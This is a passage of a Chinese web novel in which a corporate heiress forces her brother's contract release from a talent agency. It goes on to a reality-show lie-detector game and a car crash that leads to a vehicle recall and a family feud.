“姐……”江砚舟愣住了,嘴唇动了动,似乎有些难以启齿。 章文时替他开口:“唉,江总,您是不知道这里面的难处啊!砚舟刚进圈的时候年纪小,不懂合同里的门道,被华耀的人哄着签了霸王条款,想谈解约根本没那么容易。” “没关系,你们先去休息。”江知雾冷声说,“明天我跟你们一起去,我倒要看看,华耀传媒到底放不放人。” 她示意章文时先带江砚舟回房,自己则走到别墅安静的露台,拨通了一个电话。 次日,上午九点整。 华耀传媒总裁刘世昌的办公室门外响起一阵不疾不徐却极具压迫感的高跟鞋声。没等秘书通报,办公室的门便被两位身着黑色西装的保镖一左一右推开。 江知雾一身剪裁利落的套裙,妆容精致却面色冷然,迈步而入。 江砚舟和他的经纪人章文时跟在她身后,神色复杂中带着一丝紧张。 刘世昌被这突如其来的阵仗惊得站起身,看清来人后,脸上堆着假笑,语气却带着不满:“江总这是做什么?” 江知雾没理会他的阴阳怪气,在保镖拉开的椅子上坐下,将手里的文件夹“啪”地扔在办公桌上,封面“解约合同”四个大字格外醒目。 “刘总,闲话少说。我是来替我弟弟江砚舟,解约的。”江知雾开门见山。 刘世昌脸上的笑容瞬间消失,他拿起那份解约合同扫了一眼,随即嗤笑一声,身体向后靠在老板椅上,恢复了惯有的倨傲:“解约?江总,您虽然是砚舟的姐姐,但生意场有生意场的规矩。砚舟的合同白纸黑字签在这里,违约金可不是小数目,而且年限还没到呢。您说解就解?” 他意有所指地看向江砚舟:“砚舟啊,公司待你不薄吧?把你从默默无闻捧到现在顶流的位置,投入了多少资源。现在红了就想单飞,这恐怕不太厚道吧?” 江砚舟嘴唇紧抿,刚要开口,江知雾却抬手轻轻制止了他。 她冷淡地说:“刘总,不必在这里混淆视听,玩道德绑架这一套。首先,砚舟有今天,靠的是他自己的天赋和努力,你们所谓的‘资源’,不过是不对等的盘剥。” 她微微前倾身体,指尖点在合同上:“其次,我今天来,不是来和你商量,而是通知你的。” 刘世昌脸上的肌肉抽动了一下,强撑着冷笑一声:“江总,年轻人有锐气是好事,但也要懂得分寸。通知?你以为华耀是什么地方,由得你说来就来说走就走?没有合理的解约条件,一切免谈!” “合理的条件?”江知雾轻轻笑了一下,那笑意却未达眼底。她优 雅地抬手,对身后的保镖示意了一下。 一名保镖立刻上前,将一部手机屏幕点亮,放在了刘世昌面前的办公桌上。屏幕上清晰地显示着几张拍摄角度巧妙的照片—— 背景是某家高端酒店,主角正是刘世昌和年轻的女艺人黄芷禾。两人从酒店门口的亲密扶肩,到电梯里的侧身低语,甚至还有更过分的亲密照片,每一张都精准捕捉到了两人之间超越界限的暧昧氛围。 刘世昌的额头瞬间冒出一层冷汗。 他自认为在这件事上做得极为小心,每次和黄芷禾见面都选在私人场所,公共场合也有注意保持距离,就算偶尔被拍到同框,也能用“讨论工作”之类的借口搪塞过去。 可江知雾手里这些照片,却绝非寻常渠道可以获得。 江知雾的声音冷冽如冰:“刘总,您和黄小姐的‘私交’,想必尊夫人林薇女士会非常感兴趣。据我所知,林薇女士最近正在整合您岳父名下的集团股份,这些照片若是送到她手里……” 她故意顿了顿,欣赏着刘世昌骤然惨白的脸色,“您猜,到时候您失去的,会不会比一份艺人合同多得多?” 刘世昌的手指开始不受控制地轻微颤抖。 他比谁都清楚妻子林薇的脾气和手段,更清楚自己如今在集团内的地位很大程度上倚仗于岳家。这些照片若曝光,他很可能一无所有。 办公室里陷入死寂,只剩下刘世昌粗重的呼吸声。他内心激烈挣扎,权衡着利弊——是放走一棵摇钱树,还是赌上自己的婚姻和前程。 最终,对失去一切的恐惧压倒了一切。 刘世昌最终颓然地靠在椅背上,声音沙哑:“你想要什么?” “很简单,”江知雾将解约合同推到他面前,“在这份解约合同上签字,并且保证不会用任何理由纠缠砚舟。” 刘世昌终于拿起笔,不甘不愿地在落款处签下了自己的名字。 签完字,他像是瞬间苍老了几岁,抬头看着江知雾:“合同我签了,照片你必须当面销毁,不能留下任何备份。” “可以。”江知雾答得干脆利落。 她示意保镖操作。保镖拿起手机,当着他的面,熟练地打开了某个云端存储和几个加密相册,将里面所有相关的照片、备份乃至原始数据,一一彻底删除清空,最后甚至格式化了手机存储空间。 刘世昌死死盯着每一个操作步骤,确认再无任何残留后,才像是虚脱般长出了一口气。 江知雾冷眼看着他如释重负的模样,嘲讽道:“刘总,我提醒你一句,纸包不住火。今天我销毁了照片,但不代表以后不会有别人拍到类似的画面。” 她见过林薇,那是一位极具能力和手腕,值得敬佩的女性。刘世昌要继续这么玩下去,总有一天会栽在自己手里。 刘世昌不语,只一味低着头。 一旁的章文时看着桌上的解约合同,眼眶微微发红。 他跟着江砚舟这么多年,从籍籍无名到顶流,一路见证了江砚舟被公司压榨的委屈,如今终于能摆脱华耀的束缚,他比谁都开心。可开心之余,又难免有些失落—— 江砚舟走了,他却还得留在华耀。 华耀向来注重关系户,像他这种没背景的经纪人,只会被公司当成工具人,继续被压榨劳动力。 江砚舟开口:“姐……” 只起了个头,江知雾就知道他想说什么,一口答应:“可以。” 她想起原书里,章文时为了帮江砚舟争取合理的待遇、洗清背负的污名,多次和公司对抗,甚至不惜得罪高层,是个难得的真心人。如今既然要帮弟弟脱离苦海,自然不能丢下这位患难与共的经纪人。 她抬头看向刘世昌:“刘总,还有一件事。砚舟走了,他的经纪人章文时,我也要一并带走。” 章文时难以置信地看向江知雾,又惊又喜,眼眶瞬间就红了,张了张嘴,却激动得一时说不出话来。 刘世昌本就因为照片的事心烦意乱,对章文时这种无关紧要的小角色根本不在意,随口便答应了:“行,他要走就走吧,公司不拦着。” 江知雾满意地点点头,让人迅速拟好了章文时的离职申请,在刘世昌签过字后,示意保镖一并收好。 最后,她朝江砚舟和章文时扬了扬下巴:“我们走。” 江砚舟和章文时立刻跟上她的脚步。 两人看着江知雾挺直利落的背影,那双高跟鞋踩在华耀传媒光洁如冰的走廊地板上,发出清晰而笃定的回响,每一步都带着坚定、冷冽而纯粹的力量。 他们不约而同地对视一眼,心中涌起同样的震撼与钦佩: 他姐/江总太帅了!! 第59章 由于江知雾和江砚舟是向节目组请了假出来的,他们还得在下午赶回《推开家门是你》的录制地点。 车内,气氛与来时截然不同。之前的紧绷和压抑一扫而空,取而代之的是一种如释重负的轻松和充满希望的热切。 江砚舟和章文时凑在后座,头挨着头,兴奋地低声讨论着成立个人工作室的初步构想。从团队组建、资源对接,到未来的发展方向,两人越说越激动,眼睛都亮晶晶的,仿佛已经看到了无限光明的未来。 江知雾安静地坐在副驾驶座上,目光落在窗外飞速倒退的城市街景上,看似在放空,实则思绪翻涌。 事情顺利得有些出乎意料。 她确实提前让人去查了刘世昌,也掌握了一些他和黄芷禾私下往来的线索,但没指望能拿到这么致命的私照。可助理没过半小时就回了信,说照片已经发到她邮箱,还附带了拍摄时间和地点,连刘世昌和黄芷禾私下接触的几个隐秘据点都标得清清楚楚。 就像是……有人提前布好了局,将最关键的证据精准地送到了她手边。 是谁在帮她? 车子很快抵达了录制别墅。 三人刚下车,还没走近院门,一个身影就“噌”地从门口的台阶上窜了起来,快步冲了过来。 “知雾姐姐!你们总算回来了!”林屿川脸上洋溢着毫不掩饰的喜悦,张开手臂似乎就想给江知雾一个欢迎的拥抱。 江砚舟眼疾手快,不动声色地上前半步,精准地卡在了林屿川和江知雾之间,用身体挡住了他过于热情的动作。 林屿川扑了个空,也不尴尬,顺势收住脚步,眼巴巴地看向江知雾:“你们怎么去了那么久?一早上都没见到人。” 江知雾回过神,对林屿川笑了笑:“去处理了点私事,耽误了些时间。” 她目光越过林屿川,恰好撞上进院小径旁那道沉静的视线。 季宁深站在几株修剪整齐的灌木丛边,浅灰色的休闲外套搭在臂弯里,只穿了件贴身的白色长袖,不知已经在那儿站了多久。 察觉到江知雾的视线,他微笑着冲她招了招手。 江知雾方才在车里盘旋的疑问突然有了清晰的落点—— 原书中的季宁深,就一直不计代价、三番五次跟男女主过不去。 所以帮她的人,是季宁深吗? 江知雾正愣神,一阵急促的脚步声从别墅里传来。 两个工作人员抱着半人高的纸箱匆匆走过,箱子外层印着“拍摄道具”的字样,堆叠得有些不稳,走到他们面前时,最上面的一个纸箱突然微微倾斜,眼看就要滑下来。 “小心!”江知雾下意识地想伸手,却见季宁深已经快步上前。 他左手稳稳托住倾斜的纸箱边缘,指节因为用力微微泛白,语气却很平稳地对工作人员说:“箱子太沉,分着拿,小心摔了。” 工作人员连忙道谢,调整了一下姿势,才松了口气:“多亏季老师,这要是摔了里面的镜头配件,我们可赔不起。” 江砚舟瞥见姐姐的目光始终落在季宁深身上,他不爽地瞟了眼季宁深扶箱子时绷起的小臂肌肉,撇了撇嘴。 骚男人,好好的穿什么短袖,又在暗戳戳勾引他姐! 不等季宁深把箱子还给工作人员,江砚舟突然上前一步,下巴微抬:“还有要搬的吗?我顺手帮你们带过去。” 工作人员愣了一下,随即眼睛一亮:“啊!后备箱还有几个装服装的大箱子,正愁没人帮忙呢,麻烦江老师了!” 话音未落,江砚舟已经大步流星地朝车尾走去。 林屿川眨眨眼,看看季宁深,又看看突然积极起来的江砚舟,立刻跟上:“我也来帮忙!” 说着,竟一口气从后备箱里抱起了两个不小的箱子,还特意朝江知雾的方向笑了笑,仿佛格外能干似的。 江砚舟一看,马上毫不示弱地也摞起了两个箱子,觉得不够,又稳当地加了一个,叠得老高,几乎要挡住视线。 工作人员看着短短几秒就被搬空的后备箱,一时有点茫然无措:“那个……其实可以分几次搬的,不用这么急……” 弹幕早就看透了真相: 【哈哈哈又开始了又开始了!这该死的雄竞氛围。】 【三个男人一台戏(狗头)】 【你们把人 家工作人员都整懵逼了hhh,我是谁我在哪他们为什么抢着干活?】 一阵鸡飞狗跳之后,箱子总算都安全搬完。 下午,嘉宾们刚结束短暂的休整,导演便拿着一张流程卡,笑着走上前来:“各位,下午咱们不安排做卫生,来玩个轻松又刺激的小游戏,活跃活跃气氛。” 话音刚落,原本还靠在沙发上闲聊的几人顿时坐直了身子。 李柏支出个脑袋,目光落在导演身后那张临时搬来的桌子上—— 一台银灰色的仪器摆在中央,连着几根黑色的导线,顶端还放着个弧形的金属手环,看起来格外陌生。 他指着仪器满脸疑惑:“导演,这玩意儿是啥啊?看着跟医院的心电图机似的。” 导演神秘一笑:“隆重介绍一下,它是节目组斥巨资买到的高科技测谎仪!” “测谎仪?”李乐乐瞪大了眼睛,“真的假的?” “当然!”导演颇为自豪,“咱们来玩‘粉丝提问我来答’环节的升级版!这台机器连接了专业的皮肤电传感器和微表情分析系统,不敢说百分百准确,但大概率能识别出明显的情绪波动和说谎迹象。只要嘉宾说谎,指示灯就会变红,大家就都能知道哦。” 导演示意大家轮流上前,将手掌按在指定的感应区上。 第一个被点名的是跃跃欲试的季念念小朋友。 导演:“念念,粉丝们都很关心你呢。他们问:你早上是不是又偷偷摸摸背着你舅舅,躲在房间里吃甜食了?” 季念念的眼神瞬间飘忽了一下,随即否认:“没有!念念才没吃呢!舅舅说了多吃甜食会蛀牙,念念很听话的!” 话音刚落,测谎仪“嘀”一声轻响,顶端的指示灯瞬间变成了醒目的红色。 “哈哈哈说谎了!”大家顿时笑了起来。 季念念小脸一红,心虚地瞟了一眼旁边神色淡然的季宁深,赶紧找补:“就、就吃了一点点……” “嘀——”红灯再次无情亮起。 季宁深淡淡地瞥了她一眼,没什么表情,却让季念念瞬间蔫了。 她颓丧地低下头,小声嘟囔:“好吧……吃的有点多……冰淇淋、小蛋糕还有巧克力棒……” 实时弹幕里顿时一片欢乐: 【亿点点!果然是亿点点!】 【到底是哪位网友问出这种致命问题的哈哈哈】 接下来轮到林屿川。他爽快地把手放了上去。 导演:“粉丝提问:我们的新嘉宾突然空降节目,是不是有进娱乐圈发展的打算?” 林屿川闻言,脸上立刻绽开灿烂的笑容,毫不犹豫地回答:“没有啊,我对进娱乐圈没什么兴趣。” 测谎仪安安静静,指示灯保持着代表真实的绿色。 他目光灼灼地看向一旁的江知雾,语气真诚又热烈:“我是为了知雾姐姐才来的。” 绿灯依旧稳定地亮着,显示他没说谎。 网友直接惊住了: 【哇哦,这么直接的吗?弟弟好勇!】 【我就说他看江姐姐的眼神不单纯。】 【所以直球小狗是为爱追到综艺现场?这什么偶像剧剧情。】 【快看江砚舟和季宁深的表情!笑死我了!】 镜头非常懂行地立刻切给了江砚舟和季宁深。 江砚舟抱着手臂,嘴角向下撇,毫不掩饰地翻了个白眼,眼神冷飕飕地盯着林屿川。 季宁深的表情则要含蓄得多,他只是微微挑了下眉,唇角似乎还含着一丝若有若无的笑意,就是周身气压有点低。 黄芷禾站在一旁,听到林屿川直白的宣言,语气微微发酸地说:“原来是为了江姐姐才特意来节目的啊?屿川弟弟还真是有心。不过也难怪,江姐姐一直很受大家照顾嘛。” 不过压根没人接她的话茬。 幸好这时导演及时开口,打破了这微妙的冷场:“好了好了,下一位,芷禾,轮到你了。” 黄芷禾暗暗松了口气,赶紧走上前,将手放在了测谎仪的感应区上。 她心里并不太紧张,毕竟节目组挑选的问题都是来自粉丝的高赞提问,她的粉丝一向维护她,问的问题应该都很有分寸。 “准备好了吗?”导演看了她一眼,低头念出了手卡上的问题,“粉丝提问:你在娱乐圈里有金主吗?” 黄芷禾的粉丝确实没问什么刁钻的问题,大家都觉得她父亲是企业家,家境优渥,哪里需要找什么金主。 但黄芷禾却磕巴了:“我、我怎么可能会有金主呢?” 话音落下的瞬间, “嘀——!!” 刺耳的警报声猛地响起,测谎仪顶端的指示灯骤然亮起红光。 现场一片死寂。 李柏和李乐乐难以置信地看着那台闪烁红光的机器,又看向瞬间脸色煞白的黄芷禾。 直播间的网友也都没反应过来: 【机器怎么红了?真的假的啊?!】 【黄芷禾有金主?可她不是一直立的白富美人设吗?我搞不懂为什么。】 【其实上次她身上露出那些草莓,我就有过这种怀疑了。】 【哈哈哈哈她的粉丝之前不是各种维护她,各种嘴硬嘛,结果猝不及防把自己正主给坑了。】 黄芷禾猛地抽回手,慌乱地摆了摆:“怎么会这样?这仪器肯定是坏了吧!刚买来的设备,说不定还没调试好,不太准的!” 导演也没想到会出现这种情况,他尴尬地咳嗽了两声,走上前查看了一下仪器,又按了几个按钮,最终只能含糊地打圆场:“可能、可能确实是刚用,有点小误差吧,毕竟也不是百分百准确。” 当然这话谁都不相信。 强行解释显然没能安抚众人,导演擦了擦额角的汗,赶紧推进流程,试图转移焦点:“咳咳,好了好了,我们继续!下一位季老师,请上前。” 季宁深走到仪器前站定,修长的手指轻轻搭在感应区上,指节分明,肤色偏冷。 他抬眼看向导演,嘴角噙着淡淡的笑意:“开始吧。” 导演拿起新的提问卡,刚看了一眼,表情就变得有些微妙,甚至下意识地抬眼扫了一下在场的几位女嘉宾。 “嗯……这位粉丝的提问很有意思啊。季老师,粉丝问:你喜欢的人,是不是就在我们现场的嘉宾之中?” “!!!” 这话一出,把现场的气氛推向了另一个高潮。 李柏直接“哇”了一声,眼睛瞪得溜圆:“季老师的粉丝好敢问!” 季宁深无奈地低笑了一声,摇了摇头,像是拿粉丝们没办法。 他抬眼时,目光不经意地掠过江知雾的方向,停留了半秒,才转向导演,声音清晰又笃定:“是。” 测谎仪顶端的指示灯稳定地散发着柔和的绿光,没有一丝一毫要变红的迹象。 他没有撒谎。 第60章 季宁深简短的两个字,却让弹幕直接沸腾: 【测谎仪居然没亮红灯,季宁深真的有喜欢的人在这个节目里。】 【是谁是谁是谁!快告诉我那个人是谁!】 【这还用问吗?他的眼神都快长在江姐姐身上了!】 导演努力压制着想要疯狂上扬的嘴角,赶紧深挖爆点:“那、那季老师,能透露一下,您喜欢的那位嘉宾是……”” “导演,”季宁深微笑着,礼貌却不容置疑地打断了他,“按照规则,一个问题已经结束了,不是吗?” 导演愣了一下,只好意犹未尽地点头:“啊,对,对。” 伸长了耳朵听的网友纷纷失望: 【季宁深你好狠的心!话怎么说一半!】 【吊人胃口啊啊啊!我今晚睡不着了!】 就在氛围略显微妙时,一旁的林屿川忽然懒洋洋地开口:“导演,这还用问吗?季宁深喜欢的还能是谁?” 他下巴朝正乖乖坐在小凳子上玩手指的季念念一扬:“那肯定得是我们可爱的小念念呀!作为念念的亲舅舅,喜欢自家外甥女不是天经地义?” 被突然点名的季念念抬起小脑袋,眨巴着大眼睛,有点茫然:“诶?” 季宁深没有正面回答 ,非常自然地伸手揉了揉外甥女的头发:“舅舅当然喜欢念念了。” 导演见话题被带偏,知道再问下去也不会有结果,只好赶紧cue流程,转向下一对嘉宾:“好了好了,接下来轮到我们的兄妹俩了!李柏,李乐乐,请上前。” 测谎环节继续。 导演对李柏和李乐乐的提问则现实了许多:“你们会遗憾自己被大众定义为‘综艺咖’,很难接到心仪的剧本吗?” 李柏和李乐乐对视一眼,无奈地笑笑。 他们先后将手放在仪器上。 李柏先回答:“说完全不遗憾肯定是假的。毕竟拍戏才是我们进入这个行业最初的梦想,能塑造不同的角色真的很有吸引力。” 李乐乐接着哥哥的话说:“是的,肯定会有遗憾。但我们也很感恩综艺让大家认识了我们。” 她笑容明亮了些:“而且我们相信,只要继续努力,机会总会来的!” 测谎仪的绿灯保持常亮。 他们的真诚和乐观感染了现场和屏幕前的观众,弹幕里充满了鼓励的话语。 随后,导演又依次询问了其他几位嘉宾一些问题,没再问出什么有爆点的事情。 终于,所有的提问环节结束。 导演拍了拍手,成功将大家的注意力拉回来:“好了!轻松的游戏环节结束,接下来是充满活力的户外运动时间!” “节目组为大家准备了海边迷你马拉松。路线已经规划好了,沿着别墅后的海岸线往返跑,全程大约五公里。大家可以自由组队,互相鼓励,首要目标是坚持完成,感受海风与阳光!” 嘉宾们配合地发出或期待或哀嚎的声音,各自活动手脚,准备出发。 而几乎就在直播进行的同时,反应飞速的营销号和各种娱乐论坛已经将刚才测谎仪环节的精彩片段切片发布了。 不管是黄芷禾面对测谎仪撒谎自己没金主,还是季宁深直白坦诚的回答,都让网友们津津乐道。 所有嘉宾换好轻便的运动装,在起跑线前集合。 海风拂面,带着淡淡的咸味,阳光下的海面波光粼粼。 江知雾专心压腿,林屿川就在她右边蹦蹦跳跳地热身,笑容灿烂地对着她说:“知雾姐姐,等会儿我们一起跑吧?我体力很好的,可以带你!” 江砚舟黑着脸,毫不客气地说道:“我姐体力很好,不用你带。” 林屿川耸耸肩,也不生气,依旧笑嘻嘻:“那我体力不好,我需要知雾姐姐带。” 江砚舟:“……” 不要脸! 江砚舟没再理他,软下语气对江知雾说:“姐,等会儿要是累了就放慢点,不用跟着别人硬撑。” 江知雾笑着点头:“知道了,你也别跑太急。” 就在这时,“砰”的一声发令枪响! 聚集在起跑线的众人瞬间像脱缰的野马,呼啦啦地冲了出去。海风迎面扑来,带着夏日特有的热烈气息。 江知雾调整着呼吸,按照自己的节奏稳步奔跑在队伍的中段位置。 跑出一段距离后,海岸线旁出现了一条与公路交汇的岔路口。江知雾目光扫过,忽然注意到公路旁有一只看起来只有几个月大的小奶狗,脏兮兮的,正无助地来回徘徊,像是被遗弃了。 它似乎被来往的车辆吓到了,跌跌撞撞地竟朝着马路中间跑去! “危险!” 江知雾和季宁深的声音同时响起。 可惜已经晚了。 一辆正常行驶的小轿车为了躲避突然窜上马路的小狗,司机反应不及,猛打方向盘,车头“砰”地一声巨响,狠狠撞上了路边的防护栏! 变故发生得太快! 江知雾脸色一变,立刻加速飞奔过去。她身后,季宁深没有丝毫犹豫,也立刻跟上,几步就几乎与她并行。 两人一起跑到事故车旁。车窗玻璃没碎,能看到里面坐着两个女生,脸色发白地靠在座椅上,安全气囊已经弹了出来,车头则瘪下去一大块,零件碎片散落在地上。 “你们怎么样?有没有受伤?”江知雾趴在车窗边,声音急切地问。 里面的女生缓了好一会儿,才颤着声音回答:“没、没事,就是有点吓着了……手好像蹭到了点皮。” 季宁深已经绕到驾驶座旁,试图拉开车门,发现车门还能正常打开,便引导她们俩慢慢出来:“别慌,我已经联系交警和救护车了。” 两个女生惊魂未定地下了车,脚踩在地上还有些发软。 她们抬头看向及时赶来帮忙的人,当看清季宁深的脸时,都愣住了,脸上瞬间写满了难以置信和一丝窘迫。 “季、季宁深?”其中一个短发的女生小声惊呼,下意识地捂住了嘴。 季宁深确认她们行动无碍,稍稍松了口气,点头温和回应:“是我。” 另一个扎马尾的女生脸一下子红了,和同伴对视一眼,眼神里全是“天啊居然在这种场合下见到偶像”的慌乱和羞涩。 她小声嗫嚅道:“我们、我们其实是你的粉丝……” 短发女生尴尬吐槽:“没想到第一次见到偶像,居然是在车祸现场,这也太抓马了。” 她紧紧抓着的手机甚至还在放《推开家门是你》的直播。 季宁深闻言微微一怔,随即道:“没关系,人没事最重要。谢谢你们的喜欢,但下次开车或者坐车一定要更注意安全。” “嗯嗯!” 两个女生忙不迭点头,看看他,再看看江知雾,再次郑重道谢。 【哈哈哈哈哈哈粉丝人生中最社死的一次见面!】 【江姐姐和季大佬的反应都好快啊,我听到撞击声光顾着懵了,他们俩不仅确认好情况,连120都打完了。】 后面的嘉宾也都赶过来,季念念看到那只躲在路边草丛里的小狗,眉头皱得紧紧的,一脸严肃地教育:“你怎么能随便跑到马路上呢?刚才多危险啊!差点就撞到你,还吓到了两位姐姐,以后可不能这样了!” 小狗像是听懂了似的,耷拉着耳朵,缩在草丛里不敢动。 江砚舟走到撞坏的车头旁,伸手碰了碰变形的保险杠,忍不住吐槽:“这车速看着也就四十码左右吧?怎么车头能撞成这样?车皮也太脆了点。” 李乐乐仔细看了眼车头的标志,表情变得有点微妙。 她轻轻拉了拉江砚舟的衣袖,小声提醒:“砚舟……那个,这车好像就是你家集团旗下的牌子啊……” 江砚舟低头盯着车标看了三秒,又掏出口袋里的手机比对了一下自家品牌的标志,表情瞬间变得有些复杂。 他转头看向江知雾,语气里满是不可置信:“姐,咱自家造的车质量这么拉胯?得多注意品控啊!” 弹幕全在哈哈哈: 【笑不活了,小江同学狠起来连自家产品都骂。】 【质检部门冷汗流下来了吧,少东家亲自下场吐槽!】 【弟弟你要不要这么耿直啊,这也太实诚了吧。】 众人都以为江知雾会无奈地劝弟弟少说两句,毕竟是自家集团的品牌,直播里说这些难免影响口碑。 出乎所有人意料,江知雾听到弟弟的话,非但没有丝毫被打脸的恼怒,反而往前凑了两步,蹲下身仔细观察着车头凹陷的缺口。 她指尖轻轻拂过变形的金属边缘,又摸了摸露出的内部构件,眉头一点点皱了起来,脸上的轻松全然褪去,取而代之的是十足的严肃。 半晌,她直起身:“砚舟说的没错。 这防撞梁的钢材厚度和材质明显不符合设计标准,吸能盒的结构也有偷工减料的痕迹。” 说着,她直接拿出手机,给助理拨打了一个电话:“通知下去,将极维B39车型,所有批次,全部无条件召回。全面停产,等待详细质检。” 助理似乎愣了一下,但不敢有任何质疑:“是。” 江知雾又说:“查一下这款车的项目总负责人是谁,我要亲自对接。” 她的声音不大,却带着一种不容置疑的决断力,仿佛这不是在海边的节目现场,而是在集团董事会的危机处理会议上。 全场一片寂静,只有海风和直播镜头无声运转。 黄芷禾在看到车标时,脸色就微微变了一下。 这款车是她父亲在集团内负责的产业之一,主打中高端市场,利润丰厚。 大规模召回和停产,不仅意味着巨额经济损失,更会引发信任危机,对江明启将是沉重的打击。 她下意识地想往后缩,打算装作没听见。 可没等她避开,身边的江汀却没心没肺地开了口:“不用查了,这品牌的总负责人是江明启。” 黄芷禾猛地瞪了江汀一眼,暗骂这个弟弟真是成事不足败事有余! 她赶紧挤出笑容,试图找补:“江姐姐,这会不会太小题大做了?这次就是开车不规范,没注意观察路况导致的事故,没必要上升到召回整个车型吧?这对集团的声誉和资金链影响太大了……” 她试图用利益和影响来动摇江知雾的决定。 可江知雾斩钉截铁地说:“这次只是侥幸,刚好车速慢,人没事。但如果下次是在高速上呢?如果后面跟着大货车呢?” 她的话语掷地有声:“在我的标准里,生命安全永远高于一切利益。这件事,没有商量的余地。” 黄芷禾被她说得哑口无言,张了张嘴,却再也找不出反驳的理由。 季宁深站在不远处,目光始终静静地落在江知雾身上。 他看着她在事故发生时第一时间冲上前,看着她专业地排查问题,又看着她为了潜在的安全隐患,而展现出不容妥协的原则。 不知不觉,季宁深唇角牵起一丝极淡的弧度。 有的人,无需刻意张扬,她站在那里,本身就是一个发光体,足以吸引所有的目光。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-65 第61章 很快,远处传来了救护车和警车的鸣笛声。 医护人员迅速为两名受惊的女生做了初步检查,确认她们只是轻微擦伤和受到惊吓,并无大碍,但为了保险起见,还是将她们接往医院做进一步详细检查。交警也开始了现场勘查和事故认定。 直播镜头记录下了这忙碌而有序的一切,观众们为两位女生平安无事松了口气,同时对江知雾和季宁深第一时间冲上前救助的行为赞不绝口。 而此时,江明启也得知了节目现场发生的事情。 没过多久,极维汽车的官方微博发布了一份措辞暗藏机锋的声明: “尊敬的各位车主及关注极维汽车的朋友们:关于今日某直播节目中发生的单一交通事故,我们已第一时间关注并启动内部调查流程。极维B39车型自上市以来,始终严格遵守国家相关安全标准,并拥有良好的市场口碑与安全记录。 对于节目中提及的所谓‘质量问题’,我们持保留态度,希望个人情绪以及私人恩怨,不要影响对事件的客观评估。极维品牌始终将用户安全置于首位,感谢大家的监督。” 声明通篇没有直接点名江知雾,但话里的意思几乎明晃晃地将矛指向了她,暗示她是在情绪化、不专业地干预正常商业运作。 黄芷禾的粉丝和一些明显在带节奏的水军闻风而动,迅速在相关话题下扩散这种论调: 【呵呵,江总就是任性,凭一眼就能断定车型有问题?集团要成她一言堂了。】 【早听说她跟她叔叔江明启不慕已久,这显然是在公报私仇吧!】 【感觉有点小题大做,心疼极维品牌,这么多年口碑要被上层一时意气给毁了。】 【作秀过头了,为了立自己负责任的人设,不顾集团利益和股价,不太理智。】 负面舆论甚嚣尘上,试图将江知雾的行为定性为冲动、不专业且别有用心。 江知雾看到了这些言论和声明,但她没有任何公开回应。 “姐,你真不看看手机?”江砚舟拿着自己的手机凑过来,屏幕上全是骂人的评论,“江明启也太恶心了,居然污蔑你是趁机打压异己!要不我现在就发微博怼回去?” “不用。”江知雾低头看着平板,头也没抬,“逞一时之快没什么意思,现在赶紧把出问题的产品全部调回来才是最要紧的。” 但不管怎么说,极维也是江氏集团旗下的产业,她已经做好了集团股价会因为召回决定而短期下跌的准备。 然而,市场的反应却出乎了所有人的意料。 第二天开盘,江氏集团的股价非但没有下跌,反而逆势小幅上扬! 并且,集团旗下其他几个由江知雾直接垂直管理、以品质闻名的品牌,其官方账号下的支持评论大幅增多。 助理拿着数据报告,又懵逼又兴奋地向她汇报:“江总,股价不仅稳住了,甚至还涨了点!” 江知雾也有些惊讶,拿着平板浏览起来。 网络上,越来越多的理性声音和技术博主开始站出来分析: 【笑死,江明启以为所有人都是傻子吗?四十码的速度整个车头能撞扁下去,绝对是偷工减料了好吧。】 【也不知道节省材料捞到的油水都进了谁的腰包,这种钱都敢吞,良心被狗吃了。】 【承认吧,就是咱江姐姐更有魄力!发现问题立刻解决,不推诿不扯皮,宁愿亏短期利益也要保消费者安全,这才是大企业该有的担当!】 【支持召回,安全无小事。万一真是在高速上,后果不堪设想好吗?】 【这么对比下来,高下立判。江明启也太没格局了一点,怪不得江姐姐能当集团掌权人呢。】 …… 而有心人留意了一下江知雾垂直管理的品牌,不管是高端家电、还是母婴用品,近五年的质量投诉率都是全行业最低。 于是消费者们直接上头了,原本只是在评论区声援的网友,纷纷用实际行动表达支持。 集团官网和各大电商平台上,由她直管的几个品牌销量短时间内显著攀升,甚至出现了断货的情况。 市场用真金白银投出了信任票,证明了在消费者心中,一个将质量和安全置于首位的企业领导者,远比只会空口打包票的人值得信赖。 与此形成鲜明对比的是,江明启的处境急转直下。 首先他让品牌官方发布的声明,不仅没能挽回声誉,反倒让股价下跌。 而最关键的是,集团总部已经正式成立专项调查组,直奔极维汽车的生产基地,调查“偷工减料”的事情。 办公室内,江明启脸色铁青地拨通了江知雾的电话。 电话响了片刻才被接起,传来江知雾平静无波的声音:“喂?” “江知雾!”江明启没有丝毫寒暄,开门见山质问,“你到底想干什么?非要把事情闹得这么大,让大家脸上都不好看!” “我只是在处理必须处理的安全隐患。”江知雾的声音依旧冷静,“这是对消费者负责,也是对集团长远声誉负责。” “负责?我看你这是在拆台!”江明启语气阴沉,“我知道你对我有意见,但极维是我名下的产业,你这样贸然插手,未免也太没有分寸感了。” 江知雾的眼神瞬间冷了下去:“极维汽车用劣质材料,拿消费者的安全当儿戏,这已经不是插手不插手的事情了。我知道做生意难免想多赚点,但得有底线,不能拿人命换钱。” “你胡说八道什么!”江明启立刻否认,“偷工减料的事情我也不清楚,我自己会内部调查。” 他似乎冷静了下来,意味深长地警告,“年轻人的好奇心还是别太旺盛,要学会适可而止,不然……万一哪天意外就发生了呢?” 江知雾听着他阴冷的语气,神情一顿。 “意外”两个字如同触发记忆的开关,瞬间将她拽回几年前那个飘着冷雨的夜晚。 同样也是以“意外”为结尾的定论,将她父母的生命永远留在了车里。 被叫去认领尸体时,父母脸上盖着的白布还在渗血。 警察轻声说“车祸现场没有发现人为痕迹,初步判定为雨天路滑导致的意外”,而她站在原地,指尖冰凉到几乎握不住那页薄薄的事故 认定书,连眼泪都冻得流不出来。 这些年她不是没有过疑虑,父母开车一向谨慎,那辆常用来代步的轿车性能也经过反复检查,怎么会在视野良好的城郊公路上突然失控? 可每次想要深究,总会被“证据不足”的结论挡回来。 就在她冷下脸的瞬间,一只骨节分明的手从旁伸来,轻柔却坚定地抽走了她掌中的手机。 江知雾蓦然回神,抬眼看去。 只见季宁深不知何时已来到她身边,他将手机随意举到耳边,对着电话那头语气“亲切”地开口: “江叔叔,晚上好。”他声音清朗,仿佛只是在与长辈闲聊,“您不赶紧把屁股擦干净,怎么还有闲心给知雾姐姐打电话呢?” 电话那头的江明启显然没料到会突然换人,而且还是此前处处针对他的季宁深,语气顿时一沉:“这是我们江家的家事,你插什么嘴?” 